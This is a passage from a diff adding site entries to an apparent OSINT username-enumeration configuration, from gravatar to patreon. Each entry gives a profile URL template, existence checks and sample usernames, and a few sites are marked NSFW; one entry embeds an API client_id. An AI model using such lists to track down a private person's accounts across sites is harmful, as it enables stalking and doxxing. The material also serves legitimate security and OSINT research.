(KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://en.gravatar.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gunsandammo": { + "url": "https://gunsandammo.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forums.gunsandammo.com/profile/%s", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forums.gunsandammo.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gutefrage": { + "url": "https://www.gutefrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.gutefrage.net/nutzer/%s", + "existUsername": "gutefrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.gutefrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "hackthebox": { + "url": "https://forum.hackthebox.eu/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forum.hackthebox.eu/profile/%s", + "existUsername": "angar", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forum.hackthebox.eu/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "EU" + } + }, + "hackaday": { + "url": "https://hackaday.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://hackaday.io/%s", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://hackaday.io/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "harvardscholar": { + "url": "https://scholar.harvard.edu/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://scholar.harvard.edu/%s", + "existUsername": "ousmanekane", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://scholar.harvard.edu/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "hashnode": { + "url": "https://hashnode.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://hashnode.com/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://hashnode.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "hubpages": { + "url": "https://hubpages.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://hubpages.com/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://hubpages.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "icq": { + "url": "https://icq.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://icq.im/%s/en", + "existUsername": "Micheal", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://icq.im/%s/en" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "irl": { + "url": "https://www.irl.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.irl.com/%s", + "existUsername": "hacker", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.irl.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "icons8community": { + "url": "https://community.icons8.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.icons8.com/u/%s/summary", + "existUsername": "thefourCraft", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.icons8.com/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "imgup-cz": { + "url": "https://imgup.cz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://imgup.cz/%s", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://imgup.cz/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "imgur": { + "url": "https://imgur.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://api.imgur.com/account/v1/accounts/%s?client_id=546c25a59c58ad7", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://imgur.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "instructables": { + "url": "https://www.instructables.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.instructables.com/member/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.instructables.com/member/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "intigriti": { + "url": "https://app.intigriti.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "We didn't find what you're looking for", + "url": "https://app.intigriti.com/profile/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://app.intigriti.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "ionicforum": { + "url": "https://forum.ionicframework.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forum.ionicframework.com/u/%s", + "existUsername": "theblue222", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forum.ionicframework.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "issuu": { + "url": "https://issuu.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://issuu.com/%s", + "existUsername": "jenny", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://issuu.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "itch-io": { + "url": "https://itch.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.itch.io/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.itch.io/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "jellyfinweblate": { + "url": "https://translate.jellyfin.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://translate.jellyfin.org/user/%s/", + "existUsername": "EraYaN", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://translate.jellyfin.org/user/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "jimdo": { + "url": "https://jimdosite.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.jimdosite.com", + "existUsername": "jenny", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.jimdosite.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "joplinforum": { + "url": "https://discourse.joplinapp.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://discourse.joplinapp.org/u/%s", + "existUsername": "laurent", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://discourse.joplinapp.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "keakr": { + "url": "https://www.keakr.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.keakr.com/en/profile/%s", + "existUsername": "beats", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.keakr.com/en/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "kaggle": { + "url": "https://www.kaggle.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.kaggle.com/%s", + "existUsername": "dansbecker", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.kaggle.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "keybase": { + "url": "https://keybase.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://keybase.io/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://keybase.io/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "lor": { + "url": "https://linux.org.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.linux.org.ru/people/%s/profile", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.linux.org.ru/people/%s/profile" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "launchpad": { + "url": "https://launchpad.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://launchpad.net/~%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://launchpad.net/~%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "lesswrong": { + "url": "https://www.lesswrong.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.lesswrong.com/users/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.lesswrong.com/users/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "linktree": { + "url": "https://linktr.ee/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://linktr.ee/%s", + "existUsername": "anne", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://linktr.ee/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "EE" + } + }, + "livejournal": { + "url": "https://www.livejournal.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.livejournal.com", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.livejournal.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "lobsters": { + "url": "https://lobste.rs/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://lobste.rs/u/%s", + "existUsername": "jcs", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://lobste.rs/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "lottiefiles": { + "url": "https://lottiefiles.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://lottiefiles.com/%s", + "existUsername": "lottiefiles", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://lottiefiles.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "lushstories": { + "url": "https://www.lushstories.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.lushstories.com/profile/%s", + "existUsername": "chris_brown", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.lushstories.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "mmorpgforum": { + "url": "https://forums.mmorpg.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forums.mmorpg.com/profile/%s", + "existUsername": "goku", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forums.mmorpg.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "SE" + } + }, + "memrise": { + "url": "https://www.memrise.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.memrise.com/user/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.memrise.com/user/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "mixcloud": { + "url": "https://www.mixcloud.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.mixcloud.com/%s/", + "existUsername": "jenny", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.mixcloud.com/%s/", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "modelhub": { + "url": "https://www.modelhub.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.modelhub.com/%s/videos", + "existUsername": "secretcrush", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.modelhub.com/%s/videos" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "monkeytype": { + "url": "https://monkeytype.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://api.monkeytype.com/users/%s/profile", + "existUsername": "Lost_Arrow", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://monkeytype.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "motorradfrage": { + "url": "https://www.motorradfrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.motorradfrage.net/nutzer/%s", + "existUsername": "gutefrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.motorradfrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "munzee": { + "url": "https://www.munzee.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.munzee.com/m/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.munzee.com/m/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "myanimelist": { + "url": "https://myanimelist.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://myanimelist.net/profile/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://myanimelist.net/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "myminifactory": { + "url": "https://www.myminifactory.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.myminifactory.com/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.myminifactory.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "myspace": { + "url": "https://myspace.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://myspace.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://myspace.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "naver": { + "url": "https://naver.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://blog.naver.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://blog.naver.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "needrom": { + "url": "https://www.needrom.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.needrom.com/author/%s/", + "existUsername": "needrom", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.needrom.com/author/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "newgrounds": { + "url": "https://newgrounds.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.newgrounds.com", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.newgrounds.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "nextcloudforum": { + "url": "https://nextcloud.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://help.nextcloud.com/u/%s/summary", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://help.nextcloud.com/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "nightbot": { + "url": "https://nightbot.tv/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://api.nightbot.tv/1/channels/t/%s", + "existUsername": "green", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://nightbot.tv/t/%s/commands" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "nintendolife": { + "url": "https://www.nintendolife.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.nintendolife.com/users/%s", + "existUsername": "goku", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.nintendolife.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "notabug-org": { + "url": "https://notabug.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://notabug.org/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://notabug.org/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "NL" + } + }, + "nyaa-si": { + "url": "https://nyaa.si/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://nyaa.si/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://nyaa.si/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "si" + } + }, + "ogusers": { + "url": "https://ogu.gg/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://ogu.gg/%s", + "existUsername": "ogusers", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ogu.gg/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + }, + "status": false + }, + "openstreetmap": { + "url": "https://www.openstreetmap.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.openstreetmap.org/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.openstreetmap.org/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "oraclecommunity": { + "url": "https://community.oracle.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.oracle.com/people/%s", + "existUsername": "dev", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.oracle.com/people/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "patreon": { + "url": "https://www.patreon.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.patreon.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": 